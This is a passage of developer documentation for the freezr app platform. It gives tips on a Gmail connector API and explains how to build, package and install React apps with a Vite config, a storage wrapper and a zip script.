  • Gmail labels ≠ folders. A message can carry multiple labels and several "system" labels are non-exclusive (STARRED, IMPORTANT, category tags). moveMessage on Gmail is an approximation: the connector adds the target label and removes INBOX when the target is anything else. Don't assume "I moved it" means "it left every other folder."
  • The Gmail search q is provider-specific. Use searchMessages with structured params if you want code that will work unchanged when the Microsoft Graph / IMAP connectors land. The connector translates the same shape into each provider's native query language.
  • Don't store messages just to "speed things up." The unified API is fast and the provider is the source of truth. Local storage is a correctness liability — sync errors, deletes you missed, label changes you didn't observe. Cache for UI snappiness if you must; never treat your cache as authoritative.
  • The connection_names filter is enforced server-side. If a user later revokes access to a specific connection, your calls against that connection start returning 403 — handle it the same way as token_expired.
  • Don't call getMessage in a tight loop. Per-message fetches are real provider hits. If you need bodies for many messages, paginate with listMessages (which returns metadata cheaply) and fetch the full body only when the user opens one. For attachment manifests without bodies, use listMessages({ includeAttachments: true }) — same row shape, no body decode.
specs / react apps

Building React apps for freezr

React runs on freezr as a static bundle — JSX is transpiled at build time, and the output is plain HTML / CSS / ES-module JS that freezr can serve directly. A working end-to-end starter lives at github.com/salmanff/com.salmanff.reacthello.

Constraints

  • No inline scripts. CSP blocks them. React's JSX event handlers (onClick={...}) and module imports are fine; avoid libraries that inject <script> tags at runtime.
  • No HTML document wrapper. The served index.html is inner-body only (typically <div id="root"></div>). The Vite config below strips the wrapper automatically.
  • ES modules. Manifest modules entries become <script type="module">. Keep build format 'es'.
  • One CSS bundle. Set build.cssCodeSplit: false — lazy-loaded CSS chunks with hashed names won't be listed in the manifest.
  • No <head> ownership. Avoid libraries that assume they control document.title or <meta> tags.
  • Client-side routing needs a manifest SPA flag not yet in the reference implementation — use hash routing for now.

Vite + React setup

The recommended layout is a single repository where the root is the installable freezr app and a react/ subfolder holds the source:

my-app/
  index.html         // built: inner-body HTML
  app.js             // built: single ES-module bundle
  style.css          // built: single CSS bundle
  manifest.json      // built: with real filenames
  react/             // source
    package.json
    vite.config.js
    index.html       // dev-only wrapper
    manifest.json    // template
    src/
      main.jsx
      App.jsx
      freezrStore.js
      styles.css

Mount React inside the freezr.initPageScripts callback in production, and immediately in dev (where there is no freezr global):

import { StrictMode } from 'react'
import { createRoot } from 'react-dom/client'
import App from './App.jsx'
import './styles.css'

function mount () {
  createRoot(document.getElementById('root'))
    .render(<StrictMode><App /></StrictMode>)
}

if (typeof window !== 'undefined' && window.freezr) {
  window.freezr.initPageScripts = mount
} else {
  mount()
}

Keep all freezr.* calls behind a thin wrapper module, with a localStorage fallback for dev mode:

// freezrStore.js
const hasFreezr = () =>
  typeof window !== 'undefined' &&
  window.freezr &&
  typeof window.freezr.query === 'function'

export async function listNotes () {
  if (hasFreezr()) {
    return window.freezr.query('notes', {},
      { sort: { _date_modified: -1 } })
  }
  return readLocal()
}

Vite config & packaging

A small Vite plugin does two things after the standard build: write an inner-body index.html, and rewrite manifest.json with the real built filenames:

import { defineConfig } from 'vite'
import react from '@vitejs/plugin-react'
import { copyFileSync, readdirSync, readFileSync, writeFileSync }
  from 'node:fs'
import { resolve } from 'node:path'

function freezrBuild () {
  let projectRoot, repoRoot, distPath
  return {
    name: 'freezr-build',
    apply: 'build',
    configResolved (config) {
      projectRoot = config.root
      repoRoot    = resolve(projectRoot, '..')
      distPath    = resolve(projectRoot, config.build.outDir)
    },
    closeBundle () {
      const files = readdirSync(distPath)
      const jsFile  = files.find(f => f.endsWith('.js'))
      const cssFiles = files.filter(f => f.endsWith('.css'))
      copyFileSync(resolve(distPath, jsFile), resolve(repoRoot, jsFile))
      cssFiles.forEach(c =>
        copyFileSync(resolve(distPath, c), resolve(repoRoot, c)))
      writeFileSync(resolve(repoRoot, 'index.html'),
        '<div id="root"></div>\n')
      const manifest = JSON.parse(readFileSync(
        resolve(projectRoot, 'manifest.json'), 'utf8'))
      manifest.pages.index.modules   = [jsFile]
      manifest.pages.index.css_files = cssFiles
      writeFileSync(resolve(repoRoot, 'manifest.json'),
        JSON.stringify(manifest, null, 2) + '\n')
    }
  }
}

export default defineConfig({
  plugins: [react(), freezrBuild()],
  build: {
    outDir: 'dist',
    emptyOutDir: true,
    cssCodeSplit: false,
    rollupOptions: {
      input: resolve('src/main.jsx'),
      output: {
        entryFileNames: 'app.js',
        assetFileNames: '[name][extname]',
        format: 'es'
      }
    }
  }
})

Add a pack script that builds and zips:

"scripts": {
  "dev":   "vite",
  "build": "vite build",
  "pack":  "vite build && cd .. && zip -r -X com.you.myapp.zip \
           index.html app.js style.css manifest.json -x '*.DS_Store'"
}

Then:

  1. Run npm run pack from inside react/.
  2. Log into your freezr server, open the Account app → Install Existing AppsUpload.
  3. Upload the zip. The filename must match the app identifier exactly and files must be at the zip root.
  4. Your app is available at /app/<app_id>.
A forthcoming in-browser React builder will let developers write JSX in the freezr creator app, click Build, and have a serverless instance return the packaged zip for direct install. Until then, the local Vite build described here is the supported path — and the resulting zip is the same artifact the builder will produce.